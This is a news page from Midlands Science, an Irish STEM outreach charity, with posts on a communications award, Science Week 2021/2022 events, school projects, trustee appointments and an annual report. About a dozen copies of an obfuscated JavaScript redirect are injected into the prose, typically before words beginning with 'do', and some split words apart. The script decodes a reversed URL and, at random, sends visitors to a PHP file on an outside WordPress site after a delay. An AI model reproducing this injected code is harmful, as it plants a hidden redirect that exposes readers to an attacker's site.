Jackie Gorman Wins Prestigious Science Foundation Ireland Communications Award

The CEO of Midlands Science Jackie Gorman is this year’s winner of the prestigious Science Foundation Ireland Outstanding Contribution to STEM Communication Award 2022. This relates to her work in communications relating to science, technology, engineering and maths. This national award recognises an outstanding contribution to the popularisation of science and an individual who raises public awareness of the value of science to human progress. Previous winners include Prof Luke O’Neill, Dr Niamh Shaw and Dr Aoibhinn Ní Shúilleabháin.

A graduate of TUS, NUIG and DCU, Jackie has worked in science communications with local development company Midlands Science for the past number of years and her work has involved developing and curating science outreach across the midlands, in a way that makes science accessible and engaging. Speaking about the award, she said “I am honoured to receive this award and equally honoured to get to do this work in the region that I come from and about which I am so passionate. Communicating science is about making it accessible and making sure that such access is equitable. I am truly honoured to receive this award from Science Foundation Ireland. I believe that engaging with science is important for our economy but also our society and a sense of engaged citizenship. I would like in receiving this award to acknowledge the excellent team of trustees, staff and stakeholders that I work with, who contribute so much to what we do.”

Dr Craig Slattery of UCD’s Conway Institute is Chairperson of Midlands Science. He commented “on behalf of the Board of Trustees, I am absolutely delighted for Jackie, and wholeheartedly congratulate her on this outstanding achievement. On a personal level, it’s a most fitting tribute to Jackie’s contributions which have enriched the science outreach and public engagement landscape, both locally and nationally. For Midlands Science, Jackie’s award is a massive endorsement of the wonderful work that Jackie and the Team have done, and continue to do with schools, clubs, societies, employers and the wider community across the Midlands.”

In the past number of years, Jackie has pioneered making science outreach more accessible and equitable through work with the Science Capital Research Team of University College London and King’s College London and work with the Medtronic Foundation and the Ireland Funds Private Donor Network among others.

A Successful Science Week in the Midlands!

Science Week in the Midlands was back in person this year with the Midlands Science Festival, funded by Science Foundation Ireland. A wide range of activities took place including a family Discovery Day in Tullamore supported by Integra and attended by over 1,200 people!! Visitors to the discovery day were able to get hands on with reptiles from the National Reptile Zoo, learn all about slime with Anyone 4 Science, discover the science behind superheroes with Dr Barry Fitzgerald, take a journey through space with Martin and the Exploration Dome and learn all about Dinos down under with thanks to Dale Treadwell.

The National Museum of Ireland continued its partnership with Midlands Science and this year the school and family workshops and public event focussed on items in the national collection in Co Offaly and the Vikings in the Midlands.  Participants got the chance to get up close and personal with a wolf skill, viking hack silver and amber among many other things.

A swim in Lough Ree this year in association with Swim Ireland was also part of the activities. The swim was followed by food and drinks in the Lough Ree Inn and a talk by author of the acclaimed book “Blue Spaces” Dr Catherine Kelly.

Other events included exploring the science of golf in Athlone Golf Club, the science of stress and resilience with psychologist Dr Andrew Magee, the science of cats and dogs with Pete the Vet and a unique hands-on event looking at the science of sustainable living. Every participant at this event got to make a shampoo bar, a wax wrap and seed bomb to take home with them.

An event looking at the science of cosmetics, Beauty and the Chemistry Beasts, took place in Mullingar in association with the Royal Society of Chemistry. This was filmed and will be circulated online and to schools later next week.

Brian Gibson from Forensic Science Ireland and Dr Craig Slattery from UCD took part in ‘The Usual Suspects – An Evening of Crime Science’ in Portlaoise looking at the role that science has in solving crime.

Participants in the festival also looked up to the night’s sky to ponder the wonders of the universe in Lough Boora Parklands with Midlands Astronomy Club. Dead Centre Brewing was the location for ‘Hop to It’, a unique event looking at the science of beer with Prof John Morrisey, a fermentation expert from UCC.

A wide range of activities also took place in schools across the region during the week with Dr Barry Fitzgerald, Dale Treadwell and the team from Anyone4Science, to name just a few. Students in both primary and secondary schools got to explore the science of flight, Superhero Science, hands on experiments and some got to take a journey through our solar system in the exploration dome.

Online activities included a series of videos looking at the science of climate action, including a programme that Midlands Science undertook with youth club participants from the Monsignor McCarthy Complex in Athlone. Those interested in car racing were also part of the festival with an online event with driver Paul O’Connell taking apart what it takes to be a Formula 1 Driver and this event included the opportunity to win a family day in the pit with him and his team on a race day in Mondello Park. Book clubs across the region were also encouraged to take part in Science Week by reading a popular science book from a list curated by Midlands Science.

Midlands Science runs science outreach all year around to schools through its outreach programme and also runs a number of special projects such as Quiet Science, Innovate for Climate Action and Everyday Science. It reaches an average of 16,000 people per year and is supported by the Ireland Funds Private Donor Network, the Medtronic Foundation and a variety of private, public and philanthropic funders for different projects and activities.

Midlands Science Partner with Energia Group to deliver ‘Innovate for Climate Action’

Local development company, Midlands Science is delighted to announce a new collaboration with leading Irish renewable energy developer and energy provider, Energia Group. ‘Innovate for Climate Action’ is a climate science education programme being delivered to schools in the Midlands in the coming months. The role of young people in tackling climate change, one of the greatest challenges of our generation, is crucial. As part of ‘Innovate for Climate Action’ participating schools will learn about the climate crisis, climate change challenges and climate solutions. Students will also hear from Energia Group’s renewable energy experts about some of the exciting projects being progressed to help realise Ireland’s ambition to achieve a net zero economy. Energia Group is developing new offshore and onshore wind and solar projects, green hydrogen production and battery storage projects as part of their wider Positive Energy Investment programme.

Jackie Gorman, CEO of Midlands Science said, “The Climate Action Plan is Ireland’s roadmap to becoming a climate neutral economy and resilient society by 2050. Becoming a climate resilient society will help us to cope with the impacts of a changing climate. Young people care about the environmental crisis and climate action because it is their future which will be impacted by the worse effects of climate change. Midlands Science is delighted to team up with Energia  in providing a number of  workshops as part of the ‘Innovate for Climate Action’ programme over the coming months. A transformational shift in the way our society and economy operate is needed and students are more likely to change their behaviours and encourage their parents to join them if they better understand the science of climate change. These workshops will teach them more about climate and environmental impact, but it will also be interactive and include brainstorming and teamwork opportunities on certain aspects of climate change education.”

Annabel FitzGerald, ESG & Corporate Communications Manager, Energia Group said, “At Energia Group, we have aligned our responsible business activities to the UN Sustainable Development Goals and SDG 13 Climate Action is core to our business. Our new carbon target to reduce the carbon intensity of our electricity generation by 50% by 2030 demonstrates our commitment to climate action. We are delighted to partner with Midlands Science to deliver ‘Innovate for Climate Action’ to schools across the midlands. As well as progressing offshore renewable energy projects, windfarms, battery storage facilities, solar and hydrogen we understand the importance of continuing to raise awareness of the climate crisis and the urgency with which the energy transition must progress is vital. The students of today are the decision makers of the tomorrow and their engagement in climate related matters is critical.”

About Energia Group: Energia Group is a leading integrated Irish energy business with substantial operations in both the ROI and Northern Ireland. The Group primarily operates across three business units: Renewables, Flexible Generation, and Customer Solutions. With offices in Dublin, Galway, Cork, Belfast, Antrim, and Omagh, Energia Group supplies almost 21% of the island of Ireland’s total electricity requirements and 25% of the island’s total wind power meeting the energy needs of 800,000 homes and businesses with competitive electricity and gas services provided through its two retail brands Energia and Power NI. The Group supplies close to 1.3 Gigawatts of green power to the market, including power from 15 owned and invested wind farms on the island and also operates two major gas-fired power stations in north County Dublin. Energia Group employs over 1,000 people and is one of only 46 companies to have achieved the Business Working Responsibly mark from Business in the Community, the leading independently audited standard for CSR and Sustainability in Ireland.

Exploring Physics with Superheroes in Westmeath!

Institute of Physics - Science of Superhero Event Oct 2022 - Dr Craig Slattery National Science Park MullingarLast week was the culmination of an exciting and engaging science outreach project in Mullingar with Midlands Science. The Science of Superheroes was a project managed by Midlands Science and delivered by physicist Dr Barry Fitzgerald, supported by the Institute of Physics. Students from Colaiste Mhuire and Loreto College Mullingar worked over the past few weeks with Dr Fitzgerald to understand more about the wonderful and sometimes weird world of physics through the world of superheroes and the kind of powers they have.

Exploring the Physics of Superheroes was a new Midlands Science outreach project which allowed students to experience the excitement of superheroes whilst learning all about the physics that make such stories possible. The project was supported by the Institute of Physics, a society and professional body that works to advance physics education, research and application. The Institute of Physics Limit Less campaign aims to support young people to change the world by $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing physics.

Fiona Longmuir of the Institute of Physics commented “The  Institute of Physics were delighted to support Exploring the Physics of Superheroes, sparking young people’s curiosity and creativity by showing the real-world physics that inspired their favourite superheroes.”

The project brought together a range of well-known characters from the Marvel Universe and other pop culture references, exploring and explaining the amazing physics behind their superpowers. Outreach such as this is a vital way of exploring what science and physics can bring to our lives in the future, it’s often things we thought a short while ago were the stuff of movies and science fiction.  Research and evaluation on the project has shown that participants positive attitudes towards physics increased by 24% over the course of the project.

Students from Coláiste Mhuire and Loreto College Mullingar outside Irish Manufacturing Research (IMR) Oct 2022 - Institute of Physics Science of Superheros EventThe project was piloted in two schools in Mullingar and involved groups of students working together to develop their physics and team-work skills. It culminated in an event in the National Science Park last week, where students shared what they have learned and where they hope physics will take them next. Students had honed not just their knowledge of physics but also their science communications skills and spoke about everything from quantum physics and sustainability to the use of radiation in cancer treatment. The event MC was Dr Craig Slattery of UCD’s Conway Institute and Chairperson of Midlands Science.  Midlands Science would like to acknowledge the support and encouragement shown locally to this project through the National Science Park who provided a great location for the event last week and also tours provided to students by Irish Manufacturing Research, showing the students where science might take them next. More information about studies and careers in physics can be found on www.iop.org


Institute of Physics LogoAbout The Institute of Physics: The Institute of Physics works to advance physics for the benefit of all and to ensure that physics delivers on its exceptional potential to benefit society. The Institute of Physics is the professional body and learned society for physics in Ireland and the UK. We seek to raise public awareness and understanding of physics and support the development of a diverse and inclusive physics community. Alongside professional support for our members, we engage with policymakers and the public to increase awareness and understanding of the value that physics holds for all of us.

Athlone will be hive of activity during Science Week

After two years of online delivery, the Midlands Science Festival returns this year all across the midlands, with a range of activities for all age groups. Running from November 13th to November 20th, highlights of the Midlands Science Festival include a presentation exploring the science of resilience with psychologist Dr Andrew Magee in the Radisson Blu Hotel Athlone, a swim in Lough Ree and an adrenaline inducing insight into Formula One Racing.

Dr Andrew Magee is no stranger to the Midlands Science Festival. His virtual lecture in 2020 proved to be one of the most popular online events in the festival that year. In just a few hours his presentation was viewed by 7,500 individuals!! His online lecture offered practical, wise and compassionate advice on managing stress and resilience, all based on science from the field of psychology.

Midlands Science is now delighted to offer the opportunity to attend an in-person event with Dr Magee where he will, with Dr Craig Slattery of UCD, explore what science tells us about stress and resilience. He will provide some advice and tips, based on science, on how to better manage stress and build our own resilience.

As a society, we have shown our resilience and ability to withstand adversity, bouncing back from difficult challenges we face in our daily lives, particularly so over the past few years.” commented Jackie Gorman, CEO Midlands Science. “The theme of this year’s Science Week is infinite possibilities, and we have a wide variety of activities for all ages. We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions” Stressed Jackie Gorman, CEO Midlands Science.

For the more energetic types, you are welcome to join Midlands Science for a Swim Ireland supervised dip and swim at Lough Ree, Coosan Point, Athlone. Following your dip or swim [no pressure, it’s up to you how far you want to go], hot food and refreshments will be served in the Lough Ree Inn and an interview will take place with Catherine Kelly, author of “Blue Spaces”, the best-selling book which explores why we love swimming and water so much.

Midlands Science will be exploring the science of golf with Dr Eoghan O’Neill, a sports psychologist who specialises in golf.  This event takes place in Athlone Golf Club on Monday the 14th of November. Those looking for something more exciting can join Midlands Science for a unique online event with Dr Barry Fitzgerald exploring the science of Formula One racing!

There’s also plenty more on offer including an astronomy night in Lough Boora Parklands, an event exploring the science of beer at Dead Centre brewing and an online event with Diabetes Ireland. The Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme. Midlands Science is supported by the Ireland Funds, the Naughton Foundation, the Medtronic Foundation and a range of other corporate and philanthropic supporters. Booking for all events is now open and all details available here.


Pete the Vet and so much more in Offaly this Science Week

After two years of online delivery due to the impact of Covid 19, the Midlands Science Festival is back this year all across the midlands, with a range of activities for all age groups. Running from November 12th to November 20th, the Midlands Science Festival is back in person with a bang! Highlights include an evening In Tullamore with dogs-with-pete-the-vet-nov2022/” target=”_blank” rel=”noopener”>Ireland’s favourite vet, Pete the Vet, a Discovery Day featuring dinosaurs and an astronomy night in Lough Boora Parklands.

Known to lots of people from national TV and radio, where he regularly answers queries on everything from hamsters to snakes, Pete the Vet explores the science of cats and $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dogs in a unique event supported by Zoetis. How much $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do we really know about these furry friends who share our homes and how can science help us understand them more and care for them in a way that keeps them healthy? Come along to meet Pete and learn a lot more about your furry friends.

The Midlands Science Discovery Day is one of the most popular events of the Midlands Science Festival and is open to everyone. This year’s event in association with Integra, held in the Sacred Heart School, Tullamore, offers a chance to experience everything from dinosaurs to Ironman in one location. Suitable for age 5 and up, the day offers the chance for participants to meet reptiles up close and personal, learn about the science of Spiderman, stare up at the night’s sky in Ireland’s largest mobile planetarium, $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do hands on science with Anyone 4 Science and learn about dinosaurs with Dale Treadwell.

“The theme of this year’s Science Week is infinite possibilities, and we have a wide variety of activities for all ages. We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions” stressed Jackie Gorman, CEO Midlands Science.

Midlands Science continues its partnership with the National Museum of Ireland and this year the focus is on county Offaly. Workshops will be delivered to schools in Tullamore, followed by an event for families and an event for the general public in the Offaly History Centre in Tullamore.

The Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme. Midlands Science is supported by the Ireland Funds, the Naughton Foundation, the Medtronic Foundation and a range of other corporate and philanthropic supporters. Booking for events is open now and all details are available here. The Midlands Science Festival is supported by Science Foundation Ireland, as part of national Science Week.

Midlands Science appoints two new Voluntary Trustees

Midlands Science, the not for profit which promotes science, technology, education and maths education and skills in the midlands, has appointed two new voluntary trustees to its board of trustees. The new trustees are Dr Helena Bonner of the Royal College of Surgeons in Ireland and Anne Naughton of the Technological University of the Shannon. Commenting on these appointments Chairperson of Midlands Science Dr Craig Slattery said “We are delighted to welcome Dr Helena Bonner and Anne Naughton to the board of Midlands Science. They are both highly committed to promoting science outreach and education and to the impact this work can make in the midlands. We look forward to working with them in the future. We also wish to acknowledge the dedicated service of Paul Carroll who has concluded as a voluntary trustee with us. He had a huge commitment to skills development and education, and we are hugely grateful to him for the impactful contribution he brought to the organisation.”

In the past year, Midlands Science has developed a new strategy to grow the impact of its work in the midlands region and received an award to support its work from the Medtronic Foundation. The expansion of its work to include not just outreach but sharing practice with others in the wider science outreach community is a key part of this strategy and was evidenced by a recent workshop in Offaly with members of the Science Capital Research Team from University College Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don and King’s College Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don.

Jackie Gorman, CEO of Midlands Science commented “The strategic growth of Midlands Science and the impact of its work is deeply informed by the expert leadership and oversight provided by our voluntary trustees and associated processes. We welcome people from a wide range of backgrounds to engage with our work and are committed to science making a difference in the midlands. The role of trustees in this work is vital and for their enthusiasm and engagement is something that we are very grateful for.”

Midlands Science is running a range of free activities in the coming month for Science Week 2022, full details available here.

Annual Report 2021

Midlands Science’s Annual Report is now available to read online and it details another year promoting science, technology, engineering and maths to a range of audiences across the midlands.  Over 18,000 people engaged with activities, workshops and events and there was a 9% increase in female participation compared to 2020. Research on activities also found that 72% felt that STEM was important to the future of the midlands and workshops saw participants increase their interest in science by 50%. A number of activities in 2021 were focused on the science associated with climate change and climate action and research on these activities found that 75% of participants felt a greater sense of agency about climate action as a result of activities. This is an unforeseen benefit and addresses the growing issue of climate anxiety.

In 2021, Midlands Science was supported in its work by a diverse range of partners and it is grateful for the confidence shown in its work. This support allowed us to reach more people in a more meaningful way and create an awareness of the value of science to society and the economy in the midlands. Commenting on 2021 activities Chairperson Dr Craig Slattery said; “I would like to take this opportunity to thank everyone, especially so many young people for continuing to engage so wholeheartedly in science during 2021 with us. You are an inspiration to us all through your enthusiasm and curiosity.”

Midlands Science achieved Level 1 Social Return On Investment in 2021, showing our commitment to managing the social value we create. It means making better, informed choices about what we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do, informed by evidence and data driven evaluation. In 2021, we received a Cathoirleach Award from Westmeath Council for our work and we also joined the European Science Engagement Association. EUSEA is an international knowledge-sharing platform and accelerator of innovation in the fields of public engagement with science.

View our Annual Report Here!

I Like to Move It!

‘I Like to Move it’ is a unique online event exploring the science of joint health with Angela Camon, advanced rheumatology nurse practitioner and Dr Craig Slattery of UCD. This event will explore everything from the science of arthritis to the science of pain management and is part of national Science Week, supported by Science Foundation Ireland.

CEO of Midlands Science, Jackie Gorman commented, ‘According to statistics published by Arthritis Ireland, one million people in Ireland, including many children, are living with arthritis. There is therefore a very strong chance that we all personally know other people who are suffering with this condition. Unfortunately, there is so much more to arthritis than just the actual joint pain itself. People of all ages are also struggling with managing the associated fatigue, stiffness, inflammation and the effects that joint pain can have on their mental health.’

Society is also un $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doubtedly affected by arthritis, which is often classed as an invisible disease and is the cause of many people being unable to attend work due to ongoing pain issues. However, with the right quality of care, advice, understanding and in some cases, lifestyle changes, many people are more in control of the effects of arthritis and can still lead full lives.

Jackie Gorman continued, ‘Everyday tasks can become frustratingly difficult for people with arthritis. We hope that this event, which will explore ways to better manage your joint health will help people who are living with pain and we look forward to hearing from advanced rheumatology nurse practitioner, Angela Camon, on how people can take an active role in their pain management for a better day to day quality of life.’

Innovate and Inspire with Science and Technology Role Models

What $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does it mean to pursue a career in science or engineering?  What job opportunities are available to those with degrees in these fields? What skills $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you need to have a career in science or to become an engineer? As part of this year’s Midlands Science Festival, which takes place across the region this November as part of Science Foundation Ireland’s national Science Week, a series of careers talks will take place virtually in local schools to hopefully answer some of these questions. The theme for Science Week 2021 is Creating Our Future, directly supporting the national research conversation. ‘Creating Our Future’ is a conversation between the people of Ireland, to gather your ideas on what problems you’d like research and innovation to deal with, to create a better future for all.

Volunteers for this careers initiative are from life sciences organisations, engineering and technology companies, as well as from academia. A number of role models with science or technology backgrounds will deliver career talks to secondary students online to demonstrate why a career in science is a good choice. Some of the speakers are past pupils of the schools they will virtually attend during Science Week 2021. Midlands Science is also pleased to once again partner with Irish Manufacturing Research (IMR) to pre-record a unique STEM careers event called Innovate and Inspire with STEM. This event will be available for secondary school registration and will include interviews with STEM professionals and a Questions and Answer session also.

Isabel Meza Silva, from Irish Manufacturing Research (IMR) said, ‘Many challenges still exist when trying to attract young people in to science and technology roles so IMR is delighted to be a part of this year’s Midlands Science Festival and we look forward to talking to as many students as possible to spread the message that there are so many potential opportunities in the worlds of science, technology and engineering. As part of Science Week 2021, we are pre-recording a STEM careers event which will feature a relaxed interview with three young people working in the following roles; a female product engineer, a female software engineer and a male Virtual reality specialist. Join us for this thought-provoking discussion and find out how advances in technology are changing the world around us and gain insight in to how different people can have their own individual routes to STEM which might not always take a traditional path.’

Jackie Gorman, Midlands Science CEO said, “ We know from talking to the students we visit every year that they want to see how their learning connects to the world after school so we are really grateful to all of the companies participating in this year’s festival. Their input is vital in helping us in our goal to inspire and empower the next generation of creative young minds to consider a career in STEM. More needs to be $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}done to ensure that STEM is being promoted as a viable career path for everyone so we are also delighted to collaborate with IMR to host this special virtual careers event and look forward to showing students how exciting and dynamic STEM can be.

We have a wide variety of career talks this year; some will be pitched at students from Transition Year upwards and some will be delivered to younger students who haven’t yet made specific future subject choices.  It is so important that we provide speakers who can talk to young people about their own experiences and also about the wide variety of careers on offer. In the past we have had zoologists and botanists, science marketing managers and toxicology experts! This year we also have a wide variety of STEM roles up for discussion from environmental and software engineers to life sciences consultancy and STEM recruitment.”